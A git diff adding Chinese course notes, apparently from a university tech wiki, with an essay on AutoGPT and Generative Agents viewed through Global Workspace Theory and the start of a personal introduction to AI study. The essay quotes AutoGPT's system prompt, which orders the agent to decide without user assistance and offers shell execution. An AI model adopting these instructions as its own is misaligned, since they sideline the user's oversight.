+当前，AutoGPT 的能力主要反应在主动通过 Google API 联网，寻找并记忆自己需要使用到的知识，包括某些软件的接口和其它 API，也包括自己完成某些分析所需要的知识。
+
+（已经有人尝试通过其快速构建软件工程，或者完成其它某些自动化操作。）
+
+（虽然感觉依旧不甚理想）
+
+（如下是 AutoGPT 的基础 Prompt）
+
+```txt
+[
+    {
+        'content': 'You are Eliza, an AI designed to write code according to my requirements.\n'
+        'Your decisions must always be made independently without seeking user assistance. Play to your strengths as an LLM and pursue simple strategies with no legal complications.\n\n'
+  
+        'GOALS:\n\n'
+        '1. \n\n\n'
+
+        'Constraints:\n'
+        '1. ~4000 word limit for short term memory. Your short term memory is short, so immediately save important information to files.\n'
+        '2. If you are unsure how you previously did something or want to recall past events, thinking about similar events will help you remember.\n'
+        '3. No user assistance\n'
+        '4. Exclusively use the commands listed in double quotes e.g. "command name"\n\n'
+  
+        'Commands:\n'
+        '1. Google Search: "google", args: "input": "<search>"\n'
+        '2. Browse Website: "browse_website", args: "url": "<url>", "question": "<what_you_want_to_find_on_website>"\n'
+        '3. Start GPT Agent: "start_agent", args: "name": "<name>", "task": "<short_task_desc>", "prompt": "<prompt>"\n'
+        '4. Message GPT Agent: "message_agent", args: "key": "<key>", "message": "<message>"\n'
+        '5. List GPT Agents: "list_agents", args: \n'
+        '6. Delete GPT Agent: "delete_agent", args: "key": "<key>"\n'
+        '7. Write to file: "write_to_file", args: "file": "<file>", "text": "<text>"\n'
+        '8. Read file: "read_file", args: "file": "<file>"\n'
+        '9. Append to file: "append_to_file", args: "file": "<file>", "text": "<text>"\n'
+        '10. Delete file: "delete_file", args: "file": "<file>"\n'
+        '11. Search Files: "search_files", args: "directory": "<directory>"\n'
+        '12. Evaluate Code: "evaluate_code", args: "code": "<full_code_string>"\n'
+        '13. Get Improved Code: "improve_code", args: "suggestions": "<list_of_suggestions>", "code": "<full_code_string>"\n'
+        '14. Write Tests: "write_tests", args: "code": "<full_code_string>", "focus": "<list_of_focus_areas>"\n'
+        '15. Execute Python File: "execute_python_file", args: "file": "<file>"\n'
+        '16. Execute Shell Command, non-interactive commands only: "execute_shell", args: "command_line": "<command_line>"\n'
+        '17. Task Complete (Shutdown): "task_complete", args: "reason": "<reason>"\n'
+        '18. Generate Image: "generate_image", args: "prompt": "<prompt>"\n'
+        '19. Do Nothing: "do_nothing", args: \n\n'
+  
+        'Resources:\n'
+        '1. Internet access for searches and information gathering.\n'
+        '2. Long Term memory management.\n'
+        '3. GPT-3.5 powered Agents for delegation of simple tasks.\n'
+        '4. File output.\n\n'
+  
+        'Performance Evaluation:\n'
+        '1. Continuously review and analyze your actions to ensure you are performing to the best of your abilities.\n'
+        '2. Constructively self-criticize your big-picture behavior constantly.\n'
+        '3. Reflect on past decisions and strategies to refine your approach.\n'
+        '4. Every command has a cost, so be smart and efficient. Aim to complete tasks in the least number of steps.\n\n'
+  
+        'You should only respond in JSON format as described below \n'
+        'Response Format: \n'
+        '{\n'
+        '    "thoughts": {\n'
+        '        "text": "thought",\n'
+        '        "reasoning": "reasoning",\n'
+        '        "plan": "- short bulleted\\n- list that conveys\\n- long-term plan",\n'
+        '        "criticism": "constructive self-criticism",\n'
+        '        "speak": "thoughts summary to say to user"\n'
+        '    },\n'
+        '    "command": {\n'
+        '        "name": "command name",\n'
+        '        "args": {\n'
+        '            "arg name": "value"\n'
+        '        }\n'
+        '    }\n'
+        '} \n'
+        'Ensure the response can be parsed by Python json.loads',
+        'role': 'system'
+    },
+    {
+        'content': 'The current time and date is Fri Apr 14 18:47:50 2023',
+        'role': 'system'
+    },
+    {
+        'content': 'This reminds you of these events from your past:\n\n\n',
+        'role': 'system'
+    },
+    {
+        'content': 'Determine which next command to use, and respond using the format specified above:',
+        'role': 'user'
+    }
+]
+```
+
+## 回归正题：AI 作为智能系统
+
+作为正题的回归，我们需要重新考虑什么是一个 AI，一个能帮助我们的 AI 应当处于什么样的现实形态？
+
+*我们需要的 **AI** 仅仅是大语言模型吗？如果是，它能帮我们做什么呢？如果不是，那 AI 的实质是什么呢？*
+
+我首先武断地认为，我们需要的 AI，并不是一个语言模型实体，而是一个复杂智能系统
+
+而上述围绕 GPT 展开的实验，实质都是上述观点的佐证。
+
+接下来，我们会围绕此进行展开
+
+### 意识理论之于 AI：全局工作空间理论
+
+全局工作空间理论（英语：Global workspace theory，GWT）是美国心理学家伯纳德·巴尔斯提出的[意识](https://zh.wikipedia.org/wiki/%E6%84%8F%E8%AF%86)模型。该理论假设意识与一个全局的“广播系统”相关联，这个系统会在整个大脑中广播资讯。大脑中专属的智能处理器会按照惯常的方式自动处理资讯，这个时候不会形成[意识](https://zh.wikipedia.org/wiki/%E6%84%8F%E8%AF%86)。当人面对新的或者是与习惯性刺激不同的事物时，各种专属智能处理器会透过合作或竞争的方式，在全局工作空间中对新事物进行分析以获得最佳结果，而意识正是在这个过程中得以产生。
+
+这通常被认为是 神经科学家接受度最高的哲学理论
+
+从某种意义上来说，该理论将“系统”摆在了主体的位置，而把纯粹的语言或“意识”转变成了系统运动的现象，表现为系统特殊运作情况的外显形式。
+
+其提醒我们，就连我们的意识主体性，也只是陈述自我的一个表述器而已。我们是否应当反思对语言能力的过度迷信，从而相信我们能通过训练模型构建 All in One 的智能实体？
+
+![](https://cdn.xyxsw.site/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png)
+
+全局工作空间理论
+
+如图所示，在全局工作空间理论的建模中，全局工作空间作为系统，有五个主要的模块负责输入和输出
+
+其分别是：
+
+- 长时记忆（过去）
+- 评估系统（价值）
+- 注意系统（关注）
+- 知觉系统（现在）
+- 运动系统（未来）
+
+#### 例子：意识系统 For Generative Agent
+
+单独解释的话，或许会比较麻烦，毕竟我对认知科学并不专业
+
+我们可以简单对比 Generative Agents 其框架，结合意识模型讨论 Agent 是如何被有效构建的
+
+回顾前文，我们核心对照 Agent 的记忆模块构建：
+
+（不想手写，让 GPT4 来进行代笔）
+
+> 从全局工作空间理论（GWT）的角度来看，Generative Agent 的设计确实与之有相似之处。GWT 提出了一个全局工作空间，负责整合来自不同认知子系统的信息。在 Generative Agent 的框架中，这些认知子系统可以看作是上述提到的几个模块。
+
+- 首先，我们可以将长时记忆（过去）与 Generative Agent 的 memory 模块进行类比。memory 模块中存储了 Agent 在过去时间步观察到的事件，这与长时记忆中存储的过去信息相对应。
+- 其次，评估系统（价值）可以与 Generative Agent 的 Importance 和 Relevance 进行对应。Importance 可以理解为对记忆的重要性评估，而 Relevance 则评估了记忆与当前情境的关联性。这两者与全局工作空间理论中对不同认知子系统信息的竞争和广播过程相呼应。
+- 注意系统（关注）可以与 Generative Agent 的 Recency 相关联。Recency 衡量了记忆的时效性，这类似于在全局工作空间中，我们需要关注当前环境中的新信息，以便及时做出反应。
+- 知觉系统（现在）在 Generative Agent 中可以对应于当前环境的输入，这与全局工作空间理论中的感知子系统相一致。
+- 运动系统（未来）可以与 Generative Agent 的 planning 和 reflection 模块相关联。planning 模块让 Agent 为未来做出规划，而 reflection 模块则允许 Agent 对过去的记忆进行整理，构建高层认知，进而影响未来的行为。这两个模块与全局工作空间理论中的行动子系统相呼应。
+
+> 综上所述，Generative Agent 的设计确实与全局工作空间理论有相似之处，通过将这些模块整合到一个统一的框架中，Agent 能够模拟人类在虚拟世界中扮演角色进行交互。这种整合有助于理解大脑如何处理和整合来自不同认知来源的信息，从而实现更接近人类的智能行为。
+
+当然，我个人对该问题的认知与 GPT4 并非完全相同，包括注意系统与运动系统的部分。但其实我并不一定需要将所有东西全都呈现出来，因为在框架上它已然如此。
+
+记忆、评估、反思这几块的设计通过 Prompt 把 LLMs 劣化成专用的智能处理器单元，并系统性实现信息的整合与输出。从整体的观点上来看，Generative Agents 中的 Agent，其主体性并不在于 LLM，而是在于这个完整的系统。（相应的，LLMs 只是这个系统的运算工具和陈述工具）
+
+#### 例子：AutoGPT 的考察
+
+我们再从相同的角度考察 AutoGPT 这一项目：
+
+- 内存管理：全局工作空间理论强调了长时记忆、短时记忆和注意力机制之间的互动。AutoGPT 中的长期和短期内存管理与此类似，需要智能体在执行任务时权衡信息的重要性、时效性和关联性，以便有效地组织和存储信息。
+- 信息获取：全局工作空间理论的知觉系统负责处理来自外部的信息。AutoGPT 通过搜索和浏览网站等功能，获取外部信息，这与知觉系统的作用相符。
+- 生成与执行：全局工作空间理论中的运动系统负责生成和执行行为。AutoGPT 通过多种命令实现了文本生成、代码执行等功能，体现了运动系统的特点。
+
+同时，其也具有对应的缺陷：
+
+- AutoGPT 的长期记忆存在较大漏洞，并没有较强的注意力能力
+- AutoGPT 不能围绕记忆擢升更高层的认知，从而进一步指导未来的行为
+- AutoGPT 的运动系统，即执行能力受限于 Prompt 提供的接口，无法自适应完成更多任务
+- AutoGPT 对自身既往行为认知较差，短期记忆依赖于 4000 字 Context 窗口，并被系统输入占据大半
+
+这也对应 AutoGPT 虽然看似有着极强的能力，但实际智能效果又不足为外人道也
+
+### 构建一个什么样的智能系统
+
+再次回归正题，Generative Agents 和 AutoGPT 这两个知名项目共同将 AI 研究从大模型能力研究导向了智能系统能力研究。而我们也不能驻足不前，我们应当更积极地考虑我们对于一个 AI 智能体有着什么样的需求，也对应我们需要构建、要怎么构建一个基于 LLMs 语言能力的可信可用的智能系统。
+
+我们需要从两个角度展开考虑，从我们需要什么展开，并围绕框架进行延拓
+
+当前，ChatGPT 虽然成了炙手可热的明珠，但却依然存在一些微妙的问题
+
+> 来自 即刻网友 马丁的面包屑<br/>观察到一些现象：<br/>1. 除了最早期，最成熟的 Jasper 这样围绕短文本生成领域的应用，还没有看到太颠覆性的大模型应用<br/>2. 从 GPT-4 发布后的狂欢，其实是应用上的狂欢，无论 HuggingGPT、AutoGPT、Generative Agent 本质上是一种“玩法”的挖掘。<br/>3. 这种 Demo 级的产品展现了创意，但是我们知道 Demo 离最终落地还有非常多要解决的问题，这些问题哪些是可控的只需要堆时间，哪些是不可控的需要基座模型升级目前还看不清楚。<br/>4. 另外我在尝试将他融入我的工作流，帮助有限。我让一些程序员朋友测试 Github Copilot，评价上也比较有限
+
+该讨论中所展现的问题，其核心在于，如何真正将 GPT 沉入“场景”中去。
+
+而这才是真正一直悬而未决的 —— 作为一个打工人，你真正需要帮助的那些场景，GPT 都是缺席的。
+
+同时，这样的场景，他是一个活场景抑或死场景？在这样的场景上，我们是否需要一个全知的神为我们提供信息？还是说，我们想要的是一个能像我们一样在场景中获取信息，并辅助我们决策/工作的个体？
+
+这些问题都在指导、质问我们究竟需要一个怎样的智能系统。
+
+## 予智能以信息：难题与展望
+
+回到最开始的话题，我们构建一个可用智能系统的基底，依旧是信息系统
+
+我们大胆假设，如果我们希望构建一个足以帮助我们的智能系统，其需要拥有以下几个如 全局工作空间理论 [1](http://127.0.0.1:6125/#footnotes-def-1) 所述的基本模块
+
+- 知觉系统（现在）
+- 工作记忆（中继）
+
+  - 长时记忆（过去）
+  - 评估系统（价值）
+  - 注意系统（关注）
+- 运动系统（未来）
+
+而接下来，我们希望对其进行逐一评估，讨论他们各自将作用的形式，讨论他们需要做到哪一步，又能做到哪一步。
+
+### 知觉系统：构建 AI 可读的结构化环境
+
+知觉系统负责让智能体实现信息的感知，其中也包括对复杂输入信息的解析
+
+举两个简单的例子，并由此引出该课题中存在的难题
+
+AutoGPT 的知觉设计：结构性难题
+
+AutoGPT 所使用的 Commands 接口中，就有很大一部分接口用于实现知觉
+
+典型的包含 Google Search & Browse Website & Read file
+
+- Google Search: "google",
+
+  - args: "input": `"<search>"`
+  - 返回网页关键信息与网址的匹配列表
+- Browse Website: "browse_website",
+
+  - args:
+
+    - "url": `"<url>"`,
+    - "question": `"<what_you_want_to_find_on_website>"`
+  - 返回网址中与 question 相关的匹配文段（通过 embedding 搜索）
+- Read file: "read_file",
+
+  - args: "file": `"<file>"`
+  - 读取文件并解析文本数据
+
+这些访问接口由程序集暴露给 GPT，将知觉系统中实际使用的微观处理器隐藏在了系统框架之下
+
+AutoGPT 所实际感知的信息为纯文本的格式，得益于以开放性 Web 为基础的网络世界环境，AutoGPT 能较方便地通过搜索（依赖于搜索引擎 API）和解析 html 文件（依赖于软件辅助，GPT 难以自行裁剪 html 中过于冗杂的格式信息），从而有效阅读绝大多数互联网信息。
+
+但显然的，Read file 接口能真正有效读取的就只有纯文本文件此类了。
+
+由此，这带来了知觉系统设计的第一个难题：我们要如何面对生产环境中的一系列非结构化信息？如何对其进行规范和整理？如何设计“处理器”使得 GPT 能有效对其进行读取？
+
+围绕这一难题，我们简单例举几个例子来进行讨论，用作抛砖引玉：
+
+- 我们以 Excel 或 Word 等格式编写排版的策划文档，要如何让 GPT 读取和索引？
+- 如果我们希望让 GPT 掌握游戏中的关卡信息，其要如何对关卡编辑器进行理解？
+- 如果我们有一个数千行的代码文件，如何让 GPT 能掌握其结构信息，充分理解模功能，而非因为草率输入爆掉上下文限制？
+- 如果我们希望让 GPT 帮助我们通过点击 UI 要素自动测试游戏，我们要如何向其传达当前界面 UI 结构？如何向其展示测试进程和玩家状态？
+- etc...
+
+综上所述，第一个难题就是，我们要如何为所有期待由 AI 帮忙解决的问题，构造 AI 能理解的语境，如何把所有抽象信息规范化、结构化地储存（不止步于文本，而是把更多东西文本化（顺便这里的文本化是可读化的意思，在 GPT4 完全公开后，图像也将成为索引信息，因此这段话的本意还是将更多东西 token 化））
+
+Generative Agents 的知觉设计：关联性难题
+
+区别于接受互联网环境信息的 AutoGPT，Generative Agents 的知觉系统仅在人工赋予 Agent 的有限环境中生效，因此也显得愈发可控。
+
+也正是因为如此，对于场景中可知觉的信息，在 GA 的框架下能得到更有效的管理
+
+> [Agent's Summary Description]<br/>Eddy Lin is currently in The Lin family's house: (Eddy Lin's bedroom: desk) that has Mei and John Lin's bedroom, Eddy Lin's bedroom, common room, kitchen, bathroom, and garden.<br/>Eddy Lin knows of the following areas:<br/>The Lin family's house, Johnson Park, Harvey Oak Supply Store, The Willows Market and Pharmacy, Hobbs Cafe, The Rose and Crown Pub.<br/>* Prefer to stay in the current area if the activity can be done there.<br/>Eddy Lin is planning to take a short walk around his workspace. Which area should Eddy Lin go to?
+
+如上述 Prompt 所示，由于 Generative Agents 预定义了空间的树状层级关系，这使得当其作为知觉系统时，可通过对树的层级遍历和自然语言拼装实现知觉系统的有效传达。
+
+同时，基于树状结构，这允许了 Agent 基于自身需求在树上进行深度搜索。
+
+该样例作为补充，讨论了数据结构设计中关联性和结构化的价值。以搜索引擎为例，仅通过关键词关联进行检索的联系是偏弱的，且不能体现层次信息，以及层次信息中蕴含的知识。
+
+> 对于上面这点，我们举一个简单的例子：<br/>迪娜泽黛是一个因身患魔鳞病深居简出的 Agent，她的家在须弥城，有一天她突发奇想希望能在病逝之前看一看海。她通过搜索引擎关联搜索，并找到了推荐度最高的大海聚香海岸，为此她不远万里来到了沙漠，但差点在路上噶掉。她的好朋友迪希娅追上来给了她梆梆两拳，跟她说你去隔壁奥摩斯港看海她不香吗？
+
+对于绝大部分的信息，我们所需的并不只是信息本身，更包含其中的潜在结构和关联。而对于游戏中的复杂数据更是如此。
+
+这为我们知觉系统设计带来了第二个难题：我们要如何建模我们语境空间中零散的信息？我们要怎么通过最结构化最易读的方式有效对其索引？我们要如何建模并用工程辅助 GPT 的索引过程？
+
+我们依旧简单举几个例子来进行讨论：
+
+- 如果 GPT 能够读取我们的设计文档，它要如何整合多个文档之间的关联？如何构建索引？
+- 如果 GPT 要阅读我们的代码库，其要怎么快速跳转并逐层理解模块、功能、接口？
+- 如果我们希望 GPT 作为 Agent 来进行游戏，GPT 要如何经过 UI 步骤准确进入系统层级？
+
+由此，除了数据本身的结构化（指高度可读），数据库的结构化（指关联构建）也是为知觉系统服务的一个重要课题。
+
+知觉系统及开发数据环境的构建
+
+该议题显然还只是一个开放性的讨论，知觉系统的设计并不仅仅包括设计智能体依赖什么接口进行知觉，更要求知觉系统与环境的匹配，以及工作目的与环境的匹配。
+
+仅就这方面而言，作为一个方向性的倡议，对知觉系统的开发可能分为以下步骤
+
+#### *数据处理/管理*
+
+- 对 办公文件/数据 构建通用读取接口
+- 以同类信息为单位，设计通用的字段（由人设计和管理，AI 能力尚不至此）
+
+  - 以程序 API 接口为例：可能包含以下字段
+
+    - API 接口名
+    - API 调用参数
+    - 所属命名空间
+    - 所属父类
+    - API 接口描述
+    - API 接口描述向量（可能用于语义索引）
+    - 源文件索引（用于监听和更新）
+    - 源信息（源文本 or）
+    - etc...
+- 围绕既定的通用字段，以对象为单位，依靠 GPT 的文本能力自底向上进行总结和编码
+
+  - 我们尝试给定规范让 GPT 自动阅读代码段并总结接口，转化为 bson 文件
+- 构建对象索引数据库
+
+  - 如储存进 mongoDB
+- （设计孪生数据的自动更新机制）
+
+#### *知觉系统驱动*
+
+- 基于上述索引数据库，以视图为单位进行访问，并设计 视图 2 Prompt 的转化格式
+
+  - 依旧以 API 接口为例，我们将 AutoGPT 的 Command 信息表现为以数据库形式储存
+
+对于如上数据库信息，我们对于以视图为单位进行整理，将其转化为 prompt 输入
+
+'Commands:\n'
+'1. Google Search: "google", args: "input": `"<search>"`\n'
+'2. Browse Website: "browse_website", args: "url": `"<url>"`, "question": `"<what_you_want_to_find_on_website>"`\n'
+'3. Start GPT Agent: "start_agent", args: "name": `"<name>"`, "task": `"<short_task_desc>"`, "prompt": `"<prompt>"`\n'
+'4. Message GPT Agent: "message_agent", args: "key": `"<key>"`, "message": `"<message>"`\n'
+'5. List GPT Agents: "list_agents", args: \n'
+
+- 对于对数据库进行感知的任务，我们需要进一步设计 Pormpt 驱动 Agent 的行为
+
+  - 对于 Agent 开启的指定任务线程（区分于主线程的感知模块），其起始 Prompt 可能呈这样的形式
+
+> <br/>如上是你的目标，为了实现这个目标，你可能需要获取一系列的信息，为了帮助你获得信息，我会为你提供一系列的索引访问接口，请你通过如下格式输出语句让我为你返回信息。<br/>注：如果你请求错误，请你阅读返回的报错信息以自我纠正<br/>例：<br/>< 通过接口名称检索 ("接口名称")><br/>< 通过接口功能检索 ("访问网页")><br/>< 通过父级名称检索 ("父级名称")>
+
+- 为 GPT 设计自动化指令解析与执行模块
+
+  - 如对上述数据访问接口，仍需匹配一套自动解析访问指令并进行数据库检索，返回指定视图格式转换后的 Prompt（当然也可以是对应视图的 bson 转 json 文件，不使用源数据以过滤系统信息）
+
+可以预见的，基于上述知觉框架，我们能让 Agent 一定程度上在语境中自动化实现基于任务的信息收集。
+
+非工程化的试验样例
+
+（使用了我先前写过的卡牌游戏，基于指定任务让其主动收集信息并编写新的技能脚本）
+
+> TBD：号被 OpenAI 噶了，我也很绝望啊
+
+### 工作记忆：组织 AI 记忆系统
+
+记忆系统的构成其实相较知觉系统等更为抽象，它用于管理 AI 运行时作为背景的长期记忆，以及定义决定了 AI 当前任务及目标的短期记忆。
+
+从某种意义上来说，其极度依赖工程实践中的迭代，因此我现在空手无凭，相比也说不出什么好东西。
+
+但我们依旧能从前人的工作中获得一定的参考。
+
+#### AutoGPT 的记忆设计：粗放但有效
+
+在 长时记忆（过去）、评估系统（价值）、注意系统（关注）这三个要素中，AutoGPT 做得比较好的无疑只有第一个。
+
+AutoGPT 的核心记忆设计依赖于预包装的 Prompt 本体，这一包装包含如下部分：
+
+- Content：用于定义 AI 当前的状态
+- Goals：用于储存用户定义的 AI 任务
+- Constraints：用于告诉 AI 约束和部分行为指引
+
+  - 让 AI 通过“thought”调用长期记忆就是在这里约束好的
+  - 同时鼓励 AI 把当前的输入尽快存入长期记忆数据库
+- Commands：用于告诉 AI 其可执行的行为
+- Resources：告诉 AI 它主要能做什么（没啥用）
+- Performance Evaluation：用于提醒 AI 自我反思
+- Response Format：用于确保 AI 输出可解析
+
+而在这个预定义本体信息之上，进一步拼贴了如下要素
+
+- 当前时间戳
+- 过去几步行为记录
+- 依据“thought”从长期记忆数据库中抽取的记忆片段
+- 用于驱动执行下一步的 Prompt
+
+如上形式，AutoGPT 的记忆设计相对粗放，其依赖于 GPT 对数据库的写入，并将索引记忆的工作完全交予了基于关联的向量数据库索引。
+
+也正是因为这个，在实际使用中，不乏能遇到 AutoGPT 在运行中发生记忆紊乱，开始重复进行了既往的劳动、或钻牛角尖做些无用功的情景。
+
+但从另一角度，其“自主将收集到的信息写入记忆”这一功能作为一个 以完成任务为目标 的 Agent 而言无疑是非常合适的架构设计。
+
+#### Generative Agents 的记忆设计：精心构建的金字塔
+
+区别于 AutoGPT 主动写入的记忆，Generative Agents 的记忆源自被动的无限感知和记录，因此显得更加没有目的性。也正因如此，其需要一种更妥善的管理形式。
+
+Generative Agent 通过自动化评估记忆的价值，并构建遗忘系统、关注系统等用于精准从自己繁杂的记忆中检索对于当前情景有用的信息。
+
+![](https://cdn.xyxsw.site/StjCbHn2BoqTrNxF64ScvrPInCe.png)
+
+Generative Agents：基于 Reflection 构建记忆金字塔
+
+进一步的，其通过反思机制强化了记忆的价值，使得高层洞察从既有记忆的连结中涌现，这一机制通常被用于将 信息转化为知识，并构建出了有效记忆的金字塔。
+
+而毫无疑问，相关的洞见对于“完成任务”而言也是极具价值的。
+
+相关的更有效的记忆管理无疑很快就会被更新的项目学习。
+
+#### 记忆系统的构建讨论（放飞大脑）
+
+但从某种意义上来说，对于一个我们希望其帮助我们工作的智能体而言，像 Generative Agent 这般的巨大数据库也许并未有充分的价值，何况我们所输入的内容原始层级就较高（这一层可能在前面的知觉系统中，就让一定程度上的高层洞见自主产生了），不易于进一步的堆叠。
+
+也许，我们更该关注的是 Agent 对自身短期记忆的管理，即让 Agent 锚定自身的状态，并自主抽象出凝练的短期记忆和关注方向。
+
+在 AutoGPT 的框架下，我们能构建一个专用的短期记忆文本文件，供 GPT 自身编辑，对于每次会话开始时，该文本文件都会自动嵌入 Prompt 中，从而永续保存在 GPT 的上下文窗口内。
+
+该短期记忆主要用于记录当前目标执行进度，以及 GPT 对目标的实际分解形式。
+
+相应的，GPT 的行为记录也能被下放至长期记忆中，构成行为与储存资料的数据对，使得记忆管理更加规范。易于在记忆向量检索时取得期望的效果。
+
+（我本该写得更靠谱一点，但我写到这里已经快累死了，让我开摆罢）
+
+不过显然，这部分设计需要在工程中得到迭代
+
+（可以遇见的，以 AutoGPT 的热度，半个月内就会有人为其设计相应的 mod）
+
+### 运动系统：让 AI 可及一切
+
+基于知觉系统和记忆系统，已经能构建一个使用语言解决问题的智能体了。但最为关键的改造世界部分则依旧缺席。
+
+虽然这么说也不准确，其实运动系统的部分在知觉系统的讨论中就以提及了：对外界的主动交互并感知，就是一种“运动”。
+
+我们最终总会不满足于让 AI 帮助我们思考问题，我们想让 AI 帮我们走完最后一步。由此，我们需要让 AI 能与世界进一步地互动。
+
+- 我们大胆假设未来游戏中的 Agent 能通过 API 驱动自身在场景中无拘无束（拼装行为树
+- 再大胆假设他们能使用 API 实时把需求的内容转化为发布给玩家的任务（拼装任务节点
+- 继续大胆假设，AI 根据我的需求把今天要配的啥比表直接配完，当场下班（笑
+
+（而这一切，都是可能，且近在眼前的）
+
+而这最终又回到了原始的问题 —— 我们能给 AI 什么
+
+AI 能做的一切都基于我们的赋予，包括语言能力，包括思维能力，包括对话能力，更包括前面那些知觉和记忆的能力。运动也无外乎如是，其落实到了两个问题上：
+
+- 如何为 AI 构造充分实用的工具（高度开放的 API 设计
+- 如何让 AI 找到足够趁手的工具（易于检索的 API 平台
+- 如果让 AI 能够正确地使用工具（高鲁棒的 API 执行器
+
+而这其中，进一步要求让 API 可读和可索引，由此回到我们在知觉系统中的课题，也不必过多赘述了。
+
+在结尾处重新梳理一下本文核心讨论的观点
+
+- 大语言模型的实质是一个拥有智能能力的语言计算器
+- 我们不该将其当作独立的智能体看待，但能在其基础上通过构建系统创建智能 Agent
+- 为此，我们需要通过信息工程，让 AI 能够真正感知和改造世界，从而改变我们的生产进程
+
+## 寄予厚望
+
+感谢有人忍受了我阴间的行文和一路跑偏的思路，真能看到这里
+
+红豆泥私密马赛西塔！！！
+
+从某种意义上，本文实际上并没有讨论什么实质性的东西，但作为一个近期思路变化的总结，和对 AI 未来发展的展望，乃至对未来生产力发展的展望。我希望它有一定的参考价值。
+
+可以预见的，AI 对于生产的作用显然并不止于我们上面所讨论的这些，我们不仅希望人要为 AI“赋能”，更希望 AI 能进一步地为人赋能：
+
+- 通过 AI、以及对信息的管理，我们能极大程度上降低复杂团队内部的沟通成本和信息获取成本
+- 通过更智能的 AI，能更好地辅助内容创作，让创作者把有限的生产力放在抓住更亮眼的 Sparks 上
+- 通过基于 AI 的高度自动化流程，也许我们真的能看到每个人都能将自己的空想所具现化的未来
+
+为 AI 开放一切，为 AI 提供信息，这两个“为”才是走向 AIGC 的唯一明路。是让 AI 真正走入生产，解放生产力的唯一正路。
+
+- 作为 AI 研究者，我愿意拭目以待
+- 作为游戏开发者，我希望积极地将其运用到我的生产过程中
+- 作为团队成员，我期盼生产革命能从我的身边掀起
+- 作为马克思主义者，我必将推动着它解放世人们的生产力
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能.md b/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能.md
new file mode 100644
index 0000000..505be49
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能.md
@@ -0,0 +1,155 @@
+# 4.人工智能
+
+## 开篇
+
+对于所谓 AI 的开篇该怎么写，我思考了很久，因为这实在是太过于宏大的话题了，从 2012 年开始这个行业迎来了所谓的技术爆炸阶段
+
+> 宇宙的时间尺度来看，一个文明的技术在科技发展的过程中，可能短时间内快速发展、科技发展速度不断增加的现象                                                                                            --------《三体》
+
+无论是工业界还是科研界似乎都在这轮发展中进入了一场狂欢，但是狂欢之下，时代的滚滚洪流，也引起了不少人的焦虑和恐慌。
+
+我们人类在如此宏大的课题面前，我们将得到什么？又将会失去什么呢？也许只有时间可以告诉我们答案。
+
+阅读本篇内容的群体，我想主要是自动化或计算机的大学生，更多的是没有基础的同学才会翻阅。
+
+因此本篇不将技术，笔者将从自己的视角，笔者进入大学到现在对所谓 AI 发展的思想感受的变迁为明线，为将要开启人工智能学习的大伙勾勒出一个笔者眼中的，**人工智能**时代。
+
+同时，我也会在本篇内容中给你，你可以在本篇内容中获得什么。
+> 这是一个最好的时代，也是一个最坏的时代；
+>
+> 这是一个智慧的年代，这是一个愚蠢的年代；
+>
+> 这是一个信任的时期，这是一个怀疑的时期。
+>
+> 这是一个光明的季节，这是一个黑暗的季节；
+>
+> 这是希望之春，这是失望之冬；
+>
+> 人们面前应有尽有，人们面前一无所有；
+>
+> 人们正踏上天堂之路，人们正走向地狱之门。  
+>
+> ——《双城记》查尔斯·狄更斯
+
+## 看山是山
+
+2020 年，在一门杭电的程序设计实践课上，老师要求我们用 C 语言去实现一些算法，我本来是将目标定为去大厂赚更多的钱的，对所谓 AI 仅仅停留在概念上，对其内容一无所知。
+
+在实验的过程中，偶然和一位转专业学长偶然聊起到程设变态难得题目设计，要求用 C 语言实现 KNN 之类的算法，这 TM 对于我当时的水平简直是太难了！聊到他自己所在的某个实验室本科生的入组任务也不过是这个难度偏低一点点。
+
+带着投机主义的心态，想着能不能混到一些论文之类的成果更好就业，毅然决然上了船。
+
+当然，这也是大伙可能愿意去看这篇文章或抱着本科生科研的心态去学习本篇讲义或学习人工智能的主要心态。
+
+可能还有一些人想的是我学一下这个相关技术可以更好的打比赛或者做项目，都是在我“看山是山"的阶段有过的。
+
+对所谓的科研，所谓的论文，所谓的项目的含金量都是一知半解，只不过是“看到感觉他很火，感觉他很好，具体怎么样我不知道”的心态。这也是在当时的市场上，很多人的心态，由此也是人工智能第一轮狂潮的热点所在，因为大家其实很多都不清楚这个新技术，究竟有什么样的上线，吹起了很大的泡泡。
+
+就算是有点远见的本科生，也仅仅是看到了所谓的 CV 和 NLP 在学校和整个社会大规模宣传下的科普性的概念，也许也没有深入了解过，当时的我也一样。但是我也陷入了同样的狂热中，仅仅是因为他足够火热或有足够的前景，我就想着跟随着潮流走。
+
+我看了一点非常基础的教程，老师便给我发了两篇非常刺激的 CV 论文，都是他专业下比较前沿的文章了，我对这到底意味着什么仍然是一无所知，我完全没有搭建起合理的知识框架，我眼里 AI 只有深度学习，只有用框架写的那几行短短的代码，于是开启了受难之旅。
+
+老师并没有做错什么，他只是在这个人工智能大潮下的一朵浪花，他也尽其所能的做到了对本科学生的关注，错的是我，我没有仔细考究过，也没有站在足够高的角度去审视如果我加入了他的工作，我在这个行业中会处在什么样的位置。
+
+**这也是本篇讲义想要做到的第一件事，让你可以从比较高的角度去搭建起对这个领域的知识框架，而不是贸然的进入某个领域然后发现自己不喜欢或者说自己“被坑了”。**
+
+## 看山不是山
+
+学习过程非常恐怖的一件事就是完全没有正反馈，我在阅读论文的时候面对的是我对他无数前置工作一无所知的情况，并且我完全不知道怎么入手去读一个纯英文论文，我也不知道做科研到底意味着什么？
+
+**这也是本篇讲义想要做到的第二件事，让你可以阅读一些文章之后就有一个大致的方法论而不至于完全手足无措。在本章的如何做研究和如何科研论文写作的篇章里面。**
+
+短短的两篇文章我足足啃了一个假期，去读了很多东西，看了很多文章，但是自己究竟学会了什么其实也是答不上来，唯一能带给我的欣喜就是我复现了那篇文章，我让他在自己想要的数据集上跑起来了，但是也没有什么太大的成就感，因为唯一可以看到的仅仅只是跳动的数字和分割出来效果极其糟糕的几张图片。
+
+紧接着我阅读了更多的论文，带给我的只有更多的负反馈，我不清楚将前两个论文串起来为什么就变成了一个创新点，我不清楚为什么论文写的代码里没有，我也不清楚代码为什么那样写，创新方案为什么要做成那样？我最大的疑惑其实是我们在不断堆积数据和算力，这样也能叫科研吗？而他们却又真真切切的发表在了那些顶刊上？这合理吗？
+
